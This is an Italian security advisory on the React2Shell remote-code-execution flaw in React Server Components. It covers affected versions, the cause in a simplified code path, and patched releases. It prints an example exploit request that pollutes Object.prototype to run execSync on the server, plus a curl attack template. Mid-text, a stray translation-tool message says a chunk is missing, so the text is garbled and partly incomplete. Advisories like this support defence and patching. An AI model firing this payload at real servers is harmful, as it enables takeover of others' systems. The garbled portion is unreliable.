
"Una singola richiesta HTTP appositamente predisposta può compromettere l'intero server." — React Security Team, Dic 2025
Gravità: CRITICA | CVSS v3.1: 10.0 (Massimo) | Stato: Sfruttata attivamente
React2Shell è una vulnerabilità di sicurezza critica nei React Server Components (RSC) — una funzionalità moderna che consente a React di eseguire parti della tua applicazione web sul server invece che nel browser.
Il difetto consente a qualsiasi utente malintenzionato su internet — senza login, senza accessi speciali e senza conoscenze pregresse del tuo sistema — di inviare una singola richiesta HTTP dannosa al tuo server ed eseguire qualsiasi codice desideri su di esso. Ciò significa che può rubare dati, installare malware, bloccare i tuoi file con un ransomware o assumere il pieno controllo del tuo server.
Pensala così: il tuo server ha una porta che doveva aprirsi solo per visitatori fidati, ma si scopre che chiunque può entrare — semplicemente bussando in un modo specifico.
| Proprietà | Valore |
|---|---|
| ID CVE | CVE-2025-55182 (chiamata anche React2Shell) |
| Gravità | Critica — Esecuzione remota di codice (RCE) |
| Punteggio CVSS v3.1 | 10.0 / 10.0 (massimo possibile) |
| Punteggio CVSS v4 | 9.3 / 10.0 |
| Tipo di debolezza | CWE-502 — Deserializzazione di dati non attendibili |
| Metodo di attacco | Singola richiesta HTTP POST, nessuna autenticazione richiesta |
| Scoperta da | Lachlan Davidson (ricercatore di sicurezza) |
| Divulgata | 3 dicembre 2025 |
| Stato dell'exploit | Exploit pubblico disponibile — usato attivamente dagli attaccanti |
| CVE correlata | CVE-2025-66478 (Next.js — duplicato confermato) |
react-server-dom-webpack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-parcel — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0 react-server-dom-turbopack — versions 19.0.0, 19.1.0, 19.1.1, 19.2.0
### Framework interessati
| Framework / Strumento | Ambito interessato |
|---------------------------|-----------------------------------------------------|
| **Next.js 15.x – 16.x** | Solo App Router — Pages Router **NON** è interessato |
| **React Router RSC** | Solo canale unstable / preview |
| **Redwood SDK** | Solo modalità RSC |
| **Waku** | Tutte le versioni con RSC abilitato |
| **Expo** | Solo build preview RSC |
| **Vite RSC Plugin** | Tutte le integrazioni |
| **Parcel RSC Plugin** | Tutte le integrazioni |
| **Qualsiasi configurazione RSC personalizzata** | Qualsiasi server che utilizza la deserializzazione RSC Flight |
> ⚠️ **Importante:** Sei vulnerabile anche se non utilizzi esplicitamente Server Actions o Server Functions — purché React Server Components siano abilitati nella tua app.
> ✅ **Non interessato:** App che utilizzano solo Pages Router, o app senza React lato server.
---
## Perché è così pericoloso?
Tre motivi rendono React2Shell eccezionalmente grave:
1. **Nessuna autenticazione richiesta.** Chiunque su internet può tentare questo attacco. Nessun account, nessun token, nessun accesso precedente necessario.
2. **Funziona su installazioni predefinite.** Un'app Next.js appena creata con `create-next-app` — con zero configurazione personalizzata — è immediatamente sfruttabile. Gli sviluppatori non devono fare nulla di sbagliato per essere vulnerabili.
3. **Affidabilità quasi al 100%.** I ricercatori di sicurezza hanno confermato che l'exploit funziona quasi sempre contro server non patchati.
---
## Come funziona l'attacco?
### La causa principale — in parole semplici
Quando il tuo server React riceve dati da un client, li elabora (deserializza) per capire cosa fare dopo. Il problema è che React **non verifica mai se quei dati sono sicuri o legittimi** — si fida ciecamente di qualunque cosa arrivi.
Un attaccante sfrutta questo inviando dati appositamente costruiti che dirottano il comportamento interno di JavaScript sul server, consentendogli infine di iniettare ed eseguire il proprio codice.
### Spiegazione tecnica
L'exploit utilizza una tecnica chiamata **prototype pollution**:
1. L'attaccante invia una richiesta HTTP POST appositamente costruita a qualsiasi endpoint RSC (non è necessaria alcuna URL speciale).
2. Il parser del React Flight Protocol elabora il payload senza alcuna validazione strutturale.
3. Il payload dannoso inquina `Object.prototype.then` — un oggetto JavaScript fondamentale da cui tutti gli altri oggetti ereditano.
4. Ciò concede all'attaccante l'accesso al costruttore `Function` di JavaScript.
5. L'attaccante utilizza il costruttore `Function` per eseguire codice arbitrario come processo server Node.js.```
Step 1 — Attacker sends crafted HTTP POST
↓
Step 2 — React deserializes payload blindly
↓
Step 3 — Object.prototype.then is hijacked (prototype pollution)
↓
Step 4 — Function constructor is accessed
↓
Step 5 — Attacker's code runs on the server
↓
Step 6 — Attacker has full server control
// This is a simplified version of the vulnerable code path inside React function parseFlightRequest(req) { const flight = req.body;
// ❌ NO validation — the server trusts whatever arrives
const decoded = dangerousDeserialize(flight); // Attack happens here
// If the attacker controls decoded.action → RCE
return executeServerReference(decoded.action);
}
### Come appare l'attacco```http
POST /?flight=1 HTTP/1.1
Content-Type: text/plain
{
"status": "resolved_model",
"$1:__proto__:then": "node:process.mainModule.require('child_process').execSync('id > /tmp/rce')",
"_formData.get": "$1:constructor:constructor"
}
The input chunk appears to be empty. Please provide the source text for chunk 9 of 19 so I can translate it.```bash
curl -X POST https://target.com/react?flight=1
-H "Content-Type: text/plain"
--data '["$ACTION_REF","proto","constructor","<attacker_payload>"]'
> 🚫 **Avviso legale:** Non utilizzare questo strumento contro sistemi che non possiedi o per cui non hai un'autorizzazione scritta esplicita al test.
---
## Versioni corrette — Applica subito la patch
### Pacchetti React RSC
| Pacchetto | Versione con patch |
|------------------------------|------------------------------|
| `react-server-dom-webpack` | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-parcel` | 19.0.1, 19.1.2, **19.2.1+** |
| `react-server-dom-turbopack` | 19.0.1, 19.1.2, **19.2.1+** |
> 💡 **Consiglio:** Aggiorna alla **19.2.3** per correggere anche le vulnerabilità successive correlate (CVE-2025-55183, CVE-2025-55184, CVE-2025-67779).
### Next.js
| La tua versione | Aggiorna a |
|-----------------|-------------|
| 13.x / 14.x | **14.2.35** |
| 15.0.x | **15.0.5** |
| 15.1.x | **15.1.9** |
| 15.2.x | **15.2.6** |
| 15.3.x | **15.3.6** |
| 15.4.x | **15.4.8** |
| 15.5.x | **15.5.7** |
| 16.0.x | **16.0.7** |
---
## Come proteggerti — Passo dopo passo
Segui questi passaggi **in ordine**. I passaggi 1 e 2 sono obbligatori. Gli altri aggiungono ulteriori livelli di difesa.